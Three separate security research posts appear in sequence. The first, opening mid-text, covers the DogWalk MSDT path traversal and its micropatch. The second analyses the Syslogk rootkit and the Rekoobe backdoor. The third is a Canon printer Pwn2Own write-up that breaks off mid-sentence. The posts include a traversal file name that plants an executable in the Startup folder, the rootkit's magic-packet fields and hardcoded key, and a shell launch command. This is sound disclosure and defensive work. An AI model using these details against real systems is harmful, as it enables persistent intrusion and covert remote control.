The issue is that to make use of this attack an attacker needs to create what amounts to a virus, convince a user to download the virus, and then run it. Yes, it doesn’t end in .exe, but these days most viruses don’t. Some protections are already put into place, such as standard files extensions to be blocked, of which this is one. We are also always seeking to improve these protections. But as written this wouldn’t be considered a vulnerability. No security boundaries are being bypassed, the PoC doesn’t escalate permissions in any way, or do anything the user couldn’t do already."
The above does not sound unreasonable. The victim is supposed to open a file provided by the attacker, and then something bad happens. It's true (as it was back in 2020 when this was written) that most viruses aren't delivered to victims as .exe files or other typical executables, and that files with .diagcab extension would be marked as dangerous by Outlook. However, Outlook is not the only delivery vehicle: such file is cheerfully downloaded by all major browsers including Microsoft Edge by simply visiting(!) a web site, and it only takes a single click (or mis-click) in the browser's downloads list to have it opened. No warning is shown in the process, in contrast to downloading and opening any other known file capable of executing attacker's code. From attacker's perspective, therefore, this is a nicely exploitable vulnerability with all Windows versions affected back to Windows 7 and Server 2008.
In any case, the issue was found, reported, deemed unworthy, and largely forgotten. Until security researcher j00sean found it again and brought attention to it last week, as Microsoft Diagnostic Tool was under the spotlight because of Follina.
We decided this issue is exploitable enough to warrant a micropatch, and with the cat out of the bag (having presumably stayed in the bag since 2020) the likelihood of its exploitation is now higher.
Oh, and where did the DogWalk name come from? I asked Kevin Beaumont to name this vulnerability before publishing the blog post, and Kevin agreed with Kili's suggestion. The whole story is in the Twitter thread.
The Vulnerability
The vulnerability lies in the Microsoft Diagnostic Tool's sdiageng.dll library, which takes the attacker-supplied folder path from the package configuration XML file inside the diagcab archive, and copies all files from that folder to a local temporary folder. During this process, it enumerates files in attacker's folder, gets the file name for each of them, then glues together the local temporary path and that file name to generate the local path on the computer where the file is to be created. For instance, if attacker's folder were C:\temp\ and it contained a single file test.txt, the affected code would find that file, determine its name to be "test.txt", concatenate the previously created temporary folder name with this file name to get something like "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca\test.txt" and finally create such file with the content of the original C:\temp\test.txt file.
Now, the source folder can be on a remote share, not only a local folder such as C:\temp. Furthermore, it can reside on a WebDAV share on the Internet because by default, Windows workstations happily use WebDAV to access network shares, and WebDAV goes through most firewalls as it is just basically outbound HTTP. But none of these is the vulnerability yet.
The vulnerability is in the fact that the code assumes the filename to be a valid Windows filename. You know, not containing those characters you see Windows complaining about when you try to rename a file to something with ":" or "|".
Or, more specifically, that a file name can't be something like "\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
Wait, can a file name actually look like that? Not if you try to create it with Windows Explorer or "regular tools", but there is nothing to prevent a WebDAV server from saying, "Here's the file, its name is whatever I want it to be, deal with it." Should Windows accept suchmalformed file names? Probably not - but they do, and they pass them on to applications using their APIs. Which is the case with the vulnerability at hand; let's see what happens:
- The diagcab archive contains package configuration XML file pointing to a folder on a remote WebDAV server.
- This folder hosts a file named "\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
- Vulnerable MSDT creates a local temporary folder such as "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca".
- It then appends the remote file name to this folder name and gets: "C:\Users\John\AppData\Local\Temp\SDIAG_0636db01-fabd-49ed-bd1d-b3fbbe5fd0ca\..\..\..\..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
- Which in fact means "C:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.exe".
- It finally copies the content of the remote weirdly-named file to malicious.exe in computer's Startup folder, where it will be executed the next time anyone logs in.
Okay, but who would download and open a silly diagcab file? Well, the download can happen automatically in a drive-by-download fashion, as demonstrated by Imre's POC (click this link and see the file downloaded to your browser). Then you see it listed in browser's Downloads list and if you click on it - intentionally or not - it's game over.
How about Mark of the Web? Aren't all downloaded files and files received via email marked with this flag that tells Windows to warn the user if they want to open it?
They are indeed, and the downloaded diagcab file is marked as well. But it is up to the application processing the file to check this mark and warn the user. Many applications do that; MSDT, unfortunately, does not.
Our Micropatch
Clearly, this is a path traversal vulnerability, and these vulnerabilities are all addressed in the same way: by searching for occurrences of "..\" in attacker-supplied file name or path and blocking the operation in case any are found. This is exactly what we did here. Our patch adds code that searches the source file name for "..\"; if found, it reports an "Exploit blocked" event and emulates an error on the file copy operation as shown on the video below.
Source code of the micropatch:
MODULE_PATH "..\Affected_Modules\sdiageng.dll_10.0.18362.1_Win10-1909_64-bit_u202205\sdiageng.dll"
PATCH_ID 893
PATCH_FORMAT_VER 2
VULN_ID 7418
PLATFORM win64
patchlet_start
PATCHLET_ID 1
PATCHLET_TYPE 2
PATCHLET_OFFSET 0x20e86
N_ORIGINALBYTES 5
JUMPOVERBYTES 0
PIT msvcrt!wcsstr,sdiageng!0x20f30
code_start
call VAR ; push "..\" to stack and use it as a variable
dw __utf16__('..\'),0
VAR:
pop rdx ; get VAR from stack - substring
lea rcx, [rsp+5Ch] ; mov data pointer to rcx - path
sub rsp, 20h ; shadow space
call PIT_wcsstr ; search substring("..\") in a string(path)
add rsp, 20h
cmp rax, 0 ; check wcsstr return. 0 if the string does
; not contain the substring
; else returns a pointer to the first
; occurrence of substring in string
je CONTINUE
call PIT_ExploitBlocked ; exploit blocked popup
jmp PIT_0x20f30 ; jmp to existing error block
CONTINUE: ; normal code flow
code_end
patchlet_end
This is how our patch (green code blocks) is integrated in the original vulnerable code (white and blue code blocks) to add the missing security check:
Micropatch Availability
Since this is a "0day" vulnerability with no official vendor fix available, we are providing our micropatches for free until such fix becomes available.
Micropatches were written for:
- Windows 11 v21H2
-
Windows 10 v21H2
-
Windows 10 v21H1
-
Windows 10 v20H2
- Windows 10 v2004
- Windows 10 v1909
- Windows 10 v1903
- Windows 10 v1809
- Windows 10 v1803
-
Windows 7
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server 2022
These micropatches have already been distributed to all online 0patch Agents. If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboot will be needed.
We don't know whether this vulnerability has ever been exploited in the wild, or whether it will ever be. But as former attackers, we know it's the kind of issue one could realistically use, and our micropatches make sure that 0patch users don't have to care either way.
We'd like to thank Imre Rad for publishing vulnerability details and a POC, which allowed us to reproduce the vulnerability and create a micropatch, j00sean for digging this thing up and shedding light on it, and all other security researchers who have shared their findings with public or privately with us. We also encourage security researchers to privately share their analyses with us for micropatching.
Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild
Introduction
Rootkits are dangerous pieces of malware. Once in place, they are usually really hard to detect. Their code is typically more challenging to write than other malware, so developers resort to code reuse from open source projects. As rootkits are very interesting to analyze, we are always looking out for these kinds of samples in the wild.
Adore-Ng is a relatively old, open-source, well-known kernel rootkit for Linux, which initially targeted kernel 2.x but is currently updated to target kernel 3.x. It enables hiding processes, files, and even the kernel module, making it harder to detect. It also allows authenticated user-mode processes to interact with the rootkit to control it, allowing the attacker to hide many custom malicious artifacts by using a single rootkit.
In early 2022
, we were analyzing a rootkit mostly based on Adore-Ng
that we found in the wild, apparently under development. After obtaining the sample, we examined the .modinfo
section and noticed it is compiled for a specific kernel version.
As you may know, even if it is possible to ‘force load’ the module into the kernel by using the --force
flag of the insmod Linux command, this operation can fail if the required symbols are not found in the kernel; this can often lead to a system crash.
insmod -f {module} |
We discovered that the kernel module could be successfully loaded without forcing into a default Centos 6.10 distribution, as the rootkit we found is compiled for a similar kernel version.
While looking at the file’s strings, we quickly identified the PgSD93ql
hardcoded file name in the kernel rootkit to reference the payload. This payload file name is likely used to make it less obvious for the sysadmin, for instance, it can look like a legitimate PostgreSQL file.
Using this hardcoded file name, we extracted the file hidden by the rootkit. It is a compiled backdoor trojan written in C programming language; Avast’s antivirus engine detects and classifies this file as ELF:Rekoob
– which is widely known as the Rekoobe malware family. Rekoobe
is a piece of code implanted in legitimate servers. In this case it is embedded in a fake SMTP server, which spawns a shell when it receives a specially crafted command. In this post, we refer to this rootkit as Syslogk
rootkit, due to how it ‘reveals’ itself when specially crafted data is written to the file /proc/syslogk
.
Analyzing the Syslogk rootkit
The Syslogk
rootkit is heavily based on Adore-Ng
but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect.
Loading the kernel module
To load the rootkit into kernel space, it is necessary to approximately match the kernel version used for compiling; it does not have to be strictly the same.
vermagic=2.6.32-696.23.1.el6.x86_64 SMP mod_unload modversions |
For example, we were able to load the rootkit without any effort in a Centos 6.10 virtual machine by using the insmod Linux command.
After loading it, you will notice that the malicious driver does not appear in the list of loaded kernel modules when using the lsmod command.
Revealing the rootkit
The rootkit has a hide_module
function which uses the list_del function of the kernel API to remove the module from the linked list of kernel modules. Next, it also accordingly updates its internal module_hidden
flag.
Fortunately, the rootkit has a functionality implemented in the proc_write
function that exposes an interface in the /proc file system which reveals the rootkit when the value 1
is written into the file /proc/syslogk
.
Once the rootkit is revealed, it is possible to remove it from memory using the rmmod Linux command. The Files section of this post has additional details that will be useful for programmatically uncloaking the rootkit.
Overview of the Syslogk rootkit features
Apart from hiding itself, making itself harder to detect when implanted, Syslogk
can completely hide the malicious payload by taking the following actions:
- The
hk_proc_readdir
function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system. - The malicious processes are hidden via
hk_getpr
– a mix of Adore-Ng functions for hiding processes. - The malicious payload is hidden from tools like
Netstat
; when running, it will not appear in the list of services. For this purpose, the rootkit uses the functionhk_t4_seq_show
. - The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a
netfilter hook
. - It is also possible for the attacker to remotely stop the payload. This requires using a
hardcoded key
in the rootkit and knowledge of some fields of themagic packet
used for remotely starting the payload.
We observed that the Syslogk
rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some magic packets are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.
For compromising the operating system and placing the mentioned hiding functions, Syslogk
uses the already known set_addr_rw and set_addr_ro rootkit functions, which adds or removes writing permissions to the Page Table Entry
(PTE) structure.
After adding writing permissions to the PTE, the rootkit can hook the functions declared in the hks
internal rootkit structure.
PTE Hooks | ||
Type of the function | Offset | Name of the function |
Original | hks+(0x38) * 0 | proc_root_readdir |
Hook | hks+(0x38) * 0 + 0x10 | hk_proc_readdir |
Original | hks+(0x38) * 1 | tcp4_seq_show |
Hook | hks+(0x38) * 1 + 0x10 | hk_t4_seq_show |
Original | hks+(0x38) * 2 | sys_getpriority |
Hook | hks+(0x38) * 2 + 0x10 | hk_getpr |
The mechanism for placing the hooks consists of identifying the hookable kernel symbols via /proc/kallsyms
as implemented in the get_symbol_address
function of the rootkit (code reused from this repository). After getting the address of the symbol, the Syslogk
rootkit uses the udis86 project for hooking the function.
Understanding the directory hiding mechanism
The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.
It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file /etc/rc-Zobk0jpi/PgSD93ql
.
The hook is done by hk_root_readdir
which calls to nw_root_filldir
where the directory filtering takes place.
As you can see, any directory containing the substring -Zobk0jpi
will be hidden.
The function hk_get_vfs
opens the root of the file system by using filp_open. This kernel function returns a pointer to the structure file, which contains a file_operations
structure called f_op that finally stores the readdir function hooked via hk_root_readdir
.
Of course, this feature is not new at all. You can check the source code of Adore-Ng
and see how it is implemented on your own.
Understanding the process hiding mechanism
In the following screenshot, you can see that the Syslogk
rootkit (code at the right margin of the screenshot) is prepared for hiding a process called PgSD93ql
. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.
The Syslogk
rootkit function hk_getpr
explained above, is a mix of adore_find_task and should_be_hidden functions but it uses the same mechanism for hiding processes.
Understanding the network traffic hiding mechanism
The Adore-Ng
rootkit allows hiding a given set of listening services from Linux programs like Netstat
. It uses the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when Netstat
queries for listening connections. Within the adore_tcp4_seq_show() function, strnstr( ) is used to look in seq->buf
for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.
In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.
Understanding the magic packets
Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.
These are known as magic packets
because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, ‘magically’ executed in the system.
Starting the Rekoobe payload
The magic packet
inspected by the Syslogk
rootkit for starting the Rekoobe
fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the source port
, which is expected to be 59318
.
Rekobee
will be executed by the rootkit if the magic packet fits the mentioned criteria.
Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function pkill_clone_0
. This function contains the hardcoded process name PgSD93ql
; it only kills the Rekoobe
process by sending the KILL
signal via send_sig.
To execute the command that starts the Rekoobe
fake service in user mode, the rootkit executes the following command by combining the kernel APIs: call_usermodehelper_setup, call_usermodehelper_setfns, and call_usermodehelper_exec.
/bin/sh -c /etc/rc-Zobk0jpi/PgSD93ql |
The Files section of this post demonstrates how to manually craft (using Python) the TCP magic packet
for starting the Rekoobe
payload.
In the next section we describe a more complex form of the magic packet
.
Stopping the Rekoobe payload
Since the attacker doesn’t want any other person in the network to be able to kill Rekoobe
, the magic packet
for killing Rekoobe
must match some fields in the previous magic packet
used for starting Rekoobe
. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the magic packet
. The conditions that are checked:
- It checks a flag enabled when the rootkit executes
Rekoobe
viamagic packets
. It will only continue if the flag is enabled. - It checks the
Reserved
field of the TCP header to see that it is0x08
. - The
Source Port
must be between63400
and63411
inclusive. - Both the
Destination Port
and theSource Address
, must to be the same that were used when sending themagic packet
for startingRekoobe
. - Finally, it looks for the
hardcoded key
. In this case, it is:D9sd87JMaij
The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the data offset
byte (TCP header) such that after shifting the byte 4 bits
to the right and multiplying it by 4
, it points to the offset of where the Key
is expected to be (as shown in the following screenshot, notice that the rootkit compares the Key
in reverse order).
In our experiments, we used the value 0x50
for the data offset
(TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to 20
. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.
If you are curious about how we implemented this magic packet
from scratch, then please see the Files section of this blog post.
Analyzing Rekoobe
When the infected machine receives the appropriate magic packet
, the rootkit starts the hidden Rekoobe
malware in user mode space.
It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the starttls
command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.
For triggering the Rekoobe
backdoor command (spawning a shell), the attacker must send the byte 0x03
via TLS, followed by a Tag Length Value
(TLV) encoded data. Here, the tag is the symbol %
, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).
Additionally, to establish the TLS connection, you will need the certificate embedded in Rekoobe
.
See the Files section below for the certificate and a Python script we developed to connect with Rekoobe
.
The origin of Rekoobe payload and Syslogk rootkit
Rekoobe
is clearly based on the TinySHell open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.
On the other hand, if you take a look at the Syslogk
rootkit, even if it is new, you will notice that there are also references to TinySHell
dating back to December 13, 2018.
The evidence suggests that the threat actor developed Rekoobe
and Syslogk
to run them together. We are pleased to say that our users are protected and hope that this research assists others.
Conclusions
One of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.
On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.
IoCs
Syslogk sample
68facac60ee0ade1aa8f8f2024787244c2584a1a03d10cda83eeaf1258b371f2
Rekoobe sample
11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d
Other Rekoobe samples
fa94282e34901eba45720c4f89a0c820d32840ae49e53de8e75b2d6e78326074
fd92e34675e5b0b8bfbc6b1f3a00a7652e67a162f1ea612f6e86cca846df76c5
12c1b1e48effe60eef7486b3ae3e458da403cd04c88c88fab7fca84d849ee3f5
06778bddd457aafbc93d384f96ead3eb8476dc1bc8a6fbd0cd7a4d3337ddce1e
f1a592208723a66fa51ce1bc35cbd6864e24011c6dc3bcd056346428e4e1c55d
55dbdb84c40d9dc8c5aaf83226ca00a3395292cc8f884bdc523a44c2fd431c7b
df90558a84cfcf80639f32b31aec187b813df556e3c155a05af91dedfd2d7429
160cfb90b81f369f5ba929aba0b3130cb38d3c90d629fe91b31fdef176752421
b4d0f0d652f907e4e77a9453dcce7810b75e1dc5867deb69bea1e4ecdd02d877
3a6f339df95e138a436a4feff64df312975a262fa16b75117521b7d6e7115d65
74699b0964a2cbdc2bc2d9ca0b2b6f5828b638de7c73b1d41e7fe26cfc2f3441
7a599ff4a58cb0672a1b5e912a57fcdc4b0e2445ec9bc653f7f3e7a7d1dc627f
f4e3cfeeb4e10f61049a88527321af8c77d95349caf616e86d7ff4f5ba203e5f
31330c0409337592e9de7ac981cecb7f37ce0235f96e459fefbd585e35c11a1a
c6d735b7a4656a52f3cd1d24265e4f2a91652f1a775877129b322114c9547deb
2e81517ee4172c43a2084be1d584841704b3f602cafc2365de3bcb3d899e4fb8
b22f55e476209adb43929077be83481ebda7e804d117d77266b186665e4b1845
a93b9333a203e7eed197d0603e78413013bd5d8132109bbef5ef93b36b83957c
870d6c202fcc72088ff5d8e71cc0990777a7621851df10ba74d0e07d19174887
ca2ee3f30e1c997cc9d8e8f13ec94134cdb378c4eb03232f5ed1df74c0a0a1f0
9d2e25ec0208a55fba97ac70b23d3d3753e9b906b4546d1b14d8c92f8d8eb03d
29058d4cee84565335eafdf2d4a239afc0a73f1b89d3c2149346a4c6f10f3962
7e0b340815351dab035b28b16ca66a2c1c7eaf22edf9ead73d2276fe7d92bab4
af9a19f99e0dcd82a31e0c8fc68e89d104ef2039b7288a203f6d2e4f63ae4d5c
6f27de574ad79eb24d93beb00e29496d8cfe22529fc8ee5010a820f3865336a9
d690d471b513c5d40caef9f1e37c94db20e6492b34ea6a3cddcc22058f842cf3
e08e241d6823efedf81d141cc8fd5587e13df08aeda9e1793f754871521da226
da641f86f81f6333f2730795de93ad2a25ab279a527b8b9e9122b934a730ab08
e3d64a128e9267640f8fc3e6ba5399f75f6f0aca6a8db48bf989fe67a7ee1a71
d3e2e002574fb810ac5e456f122c30f232c5899534019d28e0e6822e426ed9d3
7b88fa41d6a03aeda120627d3363b739a30fe00008ce8d848c2cbb5b4473d8bc
50b73742726b0b7e00856e288e758412c74371ea2f0eaf75b957d73dfb396fd7
8b036e5e96ab980df3dca44390d6f447d4ca662a7eddac9f52d172efff4c58f8
8b18c1336770fcddc6fe78d9220386bce565f98cc8ada5a90ce69ce3ddf36043
f04dc3c62b305cdb4d83d8df2caa2d37feeb0a86fb5a745df416bac62a3b9731
72f200e3444bb4e81e58112111482e8175610dc45c6e0c6dcd1d2251bacf7897
d129481955f24430247d6cc4af975e4571b5af7c16e36814371575be07e72299
6fc03c92dee363dd88e50e89062dd8a22fe88998aff7de723594ec916c348d0a
fca2ea3e471a0d612ce50abc8738085f076ad022f70f78c3f8c83d1b2ff7896b
2fea3bc88c8142fa299a4ad9169f8879fc76726c71e4b3e06a04d568086d3470
178b23e7eded2a671fa396dd0bac5d790bca77ec4b2cf4b464d76509ed12c51a
3bff2c5bfc24fc99d925126ec6beb95d395a85bc736a395aaf4719c301cbbfd4
14a33415e95d104cf5cf1acaff9586f78f7ec3ffb26efd0683c468edeaf98fd7
8bb7842991afe86b97def19f226cb7e0a9f9527a75981f5e24a70444a7299809
020a6b7edcff7764f2aac1860142775edef1bc057bedd49b575477105267fc67
6711d5d42b54e2d261bb48aa7997fa9191aec059fd081c6f6e496d8db17a372a
48671bc6dbc786940ede3a83cc18c2d124d595a47fb20bc40d47ec9d5e8b85dc
b0d69e260a44054999baa348748cf4b2d1eaab3dd3385bb6ad5931ff47a920de
e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94
fa0ea232ab160a652fcbd8d6db8ffa09fd64bcb3228f000434d6a8e340aaf4cb
11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d
73bbabc65f884f89653a156e432788b5541a169036d364c2d769f6053960351f
8ec87dee13de3281d55f7d1d3b48115a0f5e4a41bfbef1ea08e496ac529829c8
8285ee3115e8c71c24ca3bdce313d3cfadead283c31a116180d4c2611efb610d
958bce41371b68706feae0f929a18fa84d4a8a199262c2110a7c1c12d2b1dce2
38f357c32f2c5a5e56ea40592e339bac3b0cabd6a903072b9d35093a2ed1cb75
bcc3d47940ae280c63b229d21c50d25128b2a15ea42fe8572026f88f32ed0628
08a1273ac9d6476e9a9b356b261fdc17352401065e2fc2ad3739e3f82e68705a
cf525918cb648c81543d9603ac75bc63332627d0ec070c355a86e3595986cbb3
42bc744b22173ff12477e57f85fa58450933e1c4294023334b54373f6f63ee42
337674d6349c21d3c66a4245c82cb454fea1c4e9c9d6e3578634804793e3a6d6
4effa5035fe6bbafd283ffae544a5e4353eb568770421738b4b0bb835dad573b
5b8059ea30c8665d2c36da024a170b31689c4671374b5b9b1a93c7ca47477448
bd07a4ccc8fa67e2e80b9c308dec140ca1ae9c027fa03f2828e4b5bdba6c7391
bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e
79916343b93a5a7ac7b7133a26b77b8d7d0471b3204eae78a8e8091bfe19dc8c
c32e559568d2f6960bc41ca0560ac8f459947e170339811804011802d2f87d69
864c261555fce40d022a68d0b0eadb7ab69da6af52af081fd1d9e3eced4aee46
275d63587f3ac511d7cca5ff85af2914e74d8b68edd5a7a8a1609426d5b7f6a9
031183e9450ad8283486621c4cdc556e1025127971c15053a3bf202c132fe8f9
Files
Syslogk research tools
- unhide_rootkit.c
- magic_packet_start_rekoobe.py
- magic_packet_kill_rekoobe.py
- remove_syslogk_from_memory.sh
Rekoobe research tool
IoC repository
The Syslogk and Rekoobe rootkit research tools and IoCs are in our IoC repository.
The post Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild appeared first on Avast Threat Labs.
Pwn2Own 2021 Canon ImageCLASS MF644Cdw writeup
Introduction
Pwn2Own Austin 2021 was announced in August 2021 and introduced new categories, including printers. Based on our previous experience with printers, we decided to go after one of the three models. Among those, the Canon ImageCLASS MF644Cdw seemed like the most interesting target: previous research was limited (mostly targeting Pixma inkjet printers). Based on this, we started analyzing the firmware before even having bought the printer.
Our team was composed of 3 members:
Note: This writeup is based on version 10.02 of the printer's firmware, the latest available at the time of Pwn2Own.
Firmware extraction and analysis
Downloading firmware
The Canon website is interesting: you cannot download the firmware for a particular model without having a serial number which matches that model. This, as you might guess, is particularly annoying when you want to download a firmware for a model you do not own. Two options came to our mind:
- Finding a picture of the model in a review or listing,
- Finding a serial number of the same model on Shodan.
Thankfully, the MFC644cdw was reviewed in details by PCmag, and one of the pictures contained the serial number of the printer used for the review. This allowed us to download a firmware from the Canon USA website. The version available online at the time on that website was 06.03
.
Predicting firmware URLs
As a side note, once the serial number was obtained, we could download several version of the firmware, for different operating systems. For example, version 06.03
for macOS has the following filename: mac-mf644-a-fw-v0603-64.dmg
and the associated download link is https://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do?id=OTUwMzkyMzJk&cmp=ABR&lang=EN
. As the URL implies, this page asks for the serial number and redirects you to the actual firmware if the serial is valid. In that case: https://gdlp01.c-wss.com/gds/5/0400006275/01/mac-mf644-a-fw-v0603-64.dmg
.
Of course, the base64 encoded id
in the first URL is interesting: once decoded, you get the (literal string) 95039232d
, which in turn, is the hex representation of 40000627501
, which is part of the actual firmware URL!
A few more examples led us to understand that the part of the URL with the single digit (/5/
in our case) is just the last digit of the next part of the URL's path (/0400006275/
in this example). We assume this is probably used for load balancing or another similar reason. Using this knowledge, we were able to download a lot of different firmware images for various models. We also found out that Canon pages for USA or Europe are not as current as the Japanese page which had version 09.01
at the time of writing.
However, all of them lag behind the reality: the latest firmware version was 10.02
, which is actually retrieved by the printer's firmware update mechanism. https://gdlp01.c-wss.com/rmds/oi/fwupdate/mf640c_740c_lbp620c_660c/contents.xml
gives us the actual up-to-date version.
Firmware types
A small note about firmware "types". The update XML has 3 different entries per content kind:
<contents-information>
<content kind="bootable" value="1" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
<query arg="id" value="OTUwMzZkMDQ5" />
<query arg="cmp" value="Z03" />
<query arg="lang" value="JA" />
</content>
<content kind="bootable" value="2" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
<query arg="id" value="OTUwMzZkMGFk" />
<query arg="cmp" value="Z03" />
<query arg="lang" value="JA" />
</content>
<content kind="bootable" value="3" deliveryCount="1" version="1003" base_url="http://pdisp01.c-wss.com/gdl/WWUFORedirectSerialTarget.do" >
<query arg="id" value="OTUwMzZkMTEx" />
<query arg="cmp" value="Z03" />
<query arg="lang" value="JA" />
</content>
Which correspond to:
gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEA_V10.02.bin
gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEB_V10.02.bin
gdl_MF640C_740C_LBP620C_660C_Series_MainController_TYPEC_V10.02.bin
Each type corresponds to one of the models listed in the XML URL:
- MF640C => TYPEA
- MF740C => TYPEB
- LBP620C => TYPEC
Decryption: black box attempts
Basic firmware extraction
Windows updates such as win-mf644-a-fw-v0603.exe
are Zip SFX files, which contain the actual updater: mf644c_v0603_typea_w.exe
. This is the end of the PE file as seen in Hiew:
004767F0: 58 50 41 44-44 49 4E 47-50 41 44 44-49 4E 47 58 XPADDINGPADDINGX
00072C00: 4E 43 46 57-00 00 00 00-3D 31 5D 08-20 00 00 00 NCFW =1]
As you can see (the address changes from RVA to physical offset), the firmware update seems to be stored at the end of the PE as an overlay, and conveniently starts with a NCFW
magic header. MacOS firmware updates can be extracted with 7z and contain a big file: mf644c_v0603_typea_m64.app/Contents/Resources/.USTBINDDATA
which is almost the same as the Windows overlay except for the PE signature, and some offsets.
After looking at a bunch of firmware, it became clear that the footer of the update contains information about various parts of the firmware update, including a nice USTINFO.TXT
file which describes the target model, etc. The NCFW
magic also appears several times in the biggest "file" described by the UST footer. After some trial and error, its format was understood and allowed us to split the firmware into its basic components.
All this information was compiled into the unpack_fw.py script.
Weak encryption, but how weak?
The main firmware file Bootable.bin.sig
is encrypted, but it seems encrypted with a very simple algorithm, as we can determine by looking at the patterns:
00000040 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F !"#$%&'()*+,-./
00000050 30 31 32 33 34 35 36 37 38 39 3A 3B 39 FC E8 7A 0123456789:;9..z
00000060 34 35 4F 50 44 45 46 37 48 49 CA 4B 4D 4E 4F 50 45OPDEF7HI.KMNOP
00000070 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 QRSTUVWXYZ[\]^_`
The usual assumption of having big chunks of 00
or FF
in the plaintext firmware allows us to have different hypothesis about the potential encryption algorithm. The increasing numbers most probably imply some sort of byte counter. We then tried to combine it with some basic operations and tried to decrypt:
- A xor with a byte counter => fail
- A xor with counter and feedback => fail
Attempting to use a known plaintext (where the plaintext is not 00
or FF
) was impossible at this stage as we did not have a decrypted firmware image yet. Having a reverser in the team, the obvious next step was to try to find code which implements the decryption:
- The updater tool does not decrypt the firmware but sends it as-is => fail
- Check the firmware of previous models to try to find unencrypted code which
supports encrypted "NCFW" updates:
- FAIL
- However, we found unencrypted firmware files with a similar structure which gave use a bit of known plaintext, but did not give any real clue about the solution
Hardware: first look
Main board and serial port
Once we received the printer, we of course started dismantling it to look for interesting hardware features and ways to help us get access to the firmware.
- Looking at the hardware we considered these different approaches to obtain more information:
- An SPI is present on the mainboard, read it
- An Unsolder eMMC is present on the mainboard, read it
- Find an older model, with unencrypted firmware and simpler flash to unsolder, read, profit. Fortunately, we did not have to go further in this direction.
- Some printers are known to have a serial port for debug providing a mini shell. Find one and use it to run debug commands in order to get plaintext/memory dump (NOTE of course we found the serial port afterwards)
Service mode
All enterprise printers have a service mode, intended for technicians to diagnose potential problems. YouTube is a good source of info on how to enter it. On this model, the dance is a bit weird as one must press "invisible" buttons. Once in service mode, debug logs can be dumped on a USB stick, which creates several files:
SUBLOG.TXT
SUBLOG.BIN
is obviouslySUBLOG.TXT
, encrypted with an algorithm which exhibits the same patterns as the encrypted firmware.
Decrypting firmware
Program synthesis approach
At this point, this was our train of thought:
- The encryption algorithm seemed "trivial" (lots of patterns, byte by byte)
SUBLOG.TXT
gave us lots of plaintext- We were too lazy to find it by blackbox/reasoning
As program synthesis has evolved quite fast in the past years, we decided to try to get a tool to synthesize the decryption algorithm for us. We of course used the known plaintext from SUBLOG.TXT
, which can be used as constraints. Rosette seemed easy to use and well suited, so we went with that. We started following a nice tutorial which worked over the integers, but gave us a bit of a headache when trying to directly convert it to bitvectors
.
However, we quickly realized that we didn't have to synthesize
a program (for all inputs), but actually solve
